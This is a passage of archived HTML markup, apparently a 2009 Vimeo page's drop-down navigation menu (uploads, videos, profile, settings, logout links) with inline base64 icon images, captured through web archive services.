<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="position:absolute;top:0px;right:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:6em;margin: 0px; padding: 0px 18px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/channels" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Channels</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:6em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/hd" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">HD Videos</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:6em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/staffpicks" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Staff Picks</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:6em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/forum:Projects" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Projects</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:6em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/Toys" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">Toys</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:6em;background-color: transparent; margin: 0px; padding: 0px 18px; ">
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); width:2.3em;float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;margin: 0px; padding: 16px 18px 21px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/upload/video" target="_blank" style="cursor:pointer;text-decoration:none;display:block;color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 0px; ">Upload</a>
|
||||
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);list-style: none outside none; margin: 0px 0px 0px -15px; padding: 0px; ">
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:13.4em;margin: 0px; padding: 0px 18px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/upload" target="_blank" style="cursor:pointer;text-decoration:none;font-size:11px;display:block;background-color: transparent; color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">
|
||||
You have <span style="color:rgb(247, 83, 66);margin: 0px; padding: 0px; "><strong style="margin: 0px; padding: 0px; ">500MB</strong></span>
|
||||
free for uploading this week. <img alt="Upload Your Video" src="data:image/gif;base64,R0lGODlhlgAeAMQAABUjJoO521GdzDaIu/P4/MHc7Slgf5zH4mqr1B4+Tdrq9KjO5jSBsUSWyM3j8BkxOv///12k0LXV6Xay1+bx+I/A3itnijiPxSBEVytmiRs3Qy1tkylggAAAAAAAAAAAACH5BAAHAP8ALAAAAACWAB4AAAX/IAA81nCdaKqubOu+cCzPdJ1uiSgmpu3/wKBwiOKIHj2icslszjCAjHNKrSoZgKR1y+2yNN6wmJsYm8/LMnrNrqnb8K2AAqnXD7F3fO882P95NAgQDiiDhS5+eEF1SoorjVRzf5EvejCHhoQvj4wQSgEOAZCfXXaBM5knmQ0IEQ0VFQ0nnQ0BBwGzJ7YHFQIoAr0NlSkTBwcRKwgIKBEIDQIIvxfBspURvdMn2Mg2ERKjF6cwly+qF5mDCgR1CrOPEex1BMkNCn+/8e3EJxJ/4SjuTaMTDAIefRDulapghwCzC/7sSKihMNk4S4I2rdo0CMKEBg4gVLjw6N5Ihgou/0wggKeAwQsuF1xYwG9OIYaIUASAIHMChAIkX8ac2UgABAoNIhxVmVCAgHsTaLiEkIwOBVQyzqVLeMJnIUVKU564l+xChAr38NSZNayUCgEBXObcReCqv6iP1l5oe4GhhGVkXUZlCvQFrF8NDgwOps1FORdaOWrMpOhcSFd0jr6sxA9kHTpz+1GtS2uz20Z+KCG4vDH0ipAQGruhYZSArp1AB129gDvogdooCLrE84jdL6NuTzAs0EpjCqUhFxWPTa3RTpnoRI/kDWHii8xlfTx2cY/CgQXsRnWUMIHOqEchCyBwCdQlezp4/DlYzQ8lf9cXKDTNI/rx94kABBBgjKVkBAQQADvhqVDWaov8MF4LEShUB3bqKOTdI57VwRw68viRkj13dJaZBHTokkJvpeGBokGRPPhZWTZCoGAL/rhDxIUuRPOMJoVIE6SRKLTioiGyqYAkEE+msIwyD7VgR5VBAJkRgHx04Yd3Q2g5QwQOYNflmbOhqaYZYq7pZhpavCmnExpIMeedTGCBBJ58DgEFADz0KagNBugwQgZxDqroDTmIEAIAOw==" style="border-width: 0px; border-style: none; margin: 0px; padding: 16px 0px 0px; border-color: white; "/>
|
||||
</a>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPVJREFUeNpiufHwwf8PHz8yPH36lOHwkSMMu/fsYXj8+DEDCwsLAysrKwM6YLz56CETMzMzCxMQgASeP3/OtXLVqrebtmxh+PDhAwM7Ozuqhv///6MI3Hn6hAVoMtup06e/9vT2Mty8dYuBg4MDtwYQANnKBQQPHj7kqq2re3nx0iWETSANuPCDF8+5Dp06KWZsb/dfQEb6v7iy0n+8GkD44csXXKs3b/ovra72X1RR4T8TAwHw/cePHyamppzhoaEMv379YiCoQV1O/h/IJj9fX0l5OTkGFgYigKKE5A9WFpYvtra2hG2AgV+/f/+ytrJiAAgwAJMsjRfgwkvRAAAAAElFTkSuQmCC" style="position:absolute;top:0px;left:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="position:absolute;top:0px;right:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:13.4em;background-color: transparent; margin: 0px; padding: 0px 18px; ">
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); width:2.3em;float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;margin: 0px; padding: 16px 18px 21px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/videos" target="_blank" style="cursor:pointer;text-decoration:none;display:block;color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 0px; ">Videos</a>
|
||||
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);list-style: none outside none; margin: 0px 0px 0px -15px; padding: 0px; ">
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: rgb(23, 35, 34); margin: 0px; padding: 0px 18px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/videos" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;display:block;background-color: transparent; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Videos
|
||||
<span style="color:rgb(187, 187, 187);font-size:10px;margin: 0px; padding: 0px; ">(0)</span></a>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPVJREFUeNpiufHwwf8PHz8yPH36lOHwkSMMu/fsYXj8+DEDCwsLAysrKwM6YLz56CETMzMzCxMQgASeP3/OtXLVqrebtmxh+PDhAwM7Ozuqhv///6MI3Hn6hAVoMtup06e/9vT2Mty8dYuBg4MDtwYQANnKBQQPHj7kqq2re3nx0iWETSANuPCDF8+5Dp06KWZsb/dfQEb6v7iy0n+8GkD44csXXKs3b/ovra72X1RR4T8TAwHw/cePHyamppzhoaEMv379YiCoQV1O/h/IJj9fX0l5OTkGFgYigKKE5A9WFpYvtra2hG2AgV+/f/+ytrJiAAgwAJMsjRfgwkvRAAAAAElFTkSuQmCC" style="position:absolute;top:0px;left:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="position:absolute;top:0px;right:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: rgb(23, 35, 34); margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/albums" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Albums
|
||||
<span style="color:rgb(187, 187, 187);font-size:10px;margin: 0px; padding: 0px; ">(0)</span></a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: rgb(23, 35, 34); margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/groups" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Groups
|
||||
<span style="color:rgb(187, 187, 187);font-size:10px;margin: 0px; padding: 0px; ">(0)</span></a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: rgb(23, 35, 34); margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/channels" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Channels
|
||||
<span style="color:rgb(187, 187, 187);font-size:10px;margin: 0px; padding: 0px; ">(0)</span></a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: rgb(23, 35, 34); margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/likes" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Likes
|
||||
<span style="color:rgb(187, 187, 187);font-size:10px;margin: 0px; padding: 0px; ">(0)</span></a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: rgb(23, 35, 34); margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/inbox/subscriptions" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">My Subscriptions</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: transparent; margin: 0px; padding: 0px 18px; ">
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;width:5.3em;margin: 0px; padding: 16px 0px 21px; ">
|
||||
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);list-style: none outside none; margin: 0px 0px 0px -33px; padding: 0px; ">
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:110px;margin: -20px 0px 0px; padding: 20px 18px 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;display:block;background-color: transparent; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Home Page</a>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="right:-12px;width:12px;height:10px;position:absolute;top:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:110px;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Profile</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:110px;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/contacts" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Contacts
|
||||
<span style="color:rgb(187, 187, 187);font-size:10px;margin: 0px; padding: 0px; ">(0)</span></a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:110px;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/conversations" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Conversations</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:110px;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/settings" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Settings</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;color:rgb(247, 83, 66);background-color: rgb(23, 35, 34); width:110px;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/log_out" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(247, 83, 66);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">Logout</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;width:110px;background-color: transparent; position:relative;margin: 0px; padding: 0px 18px; ">
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
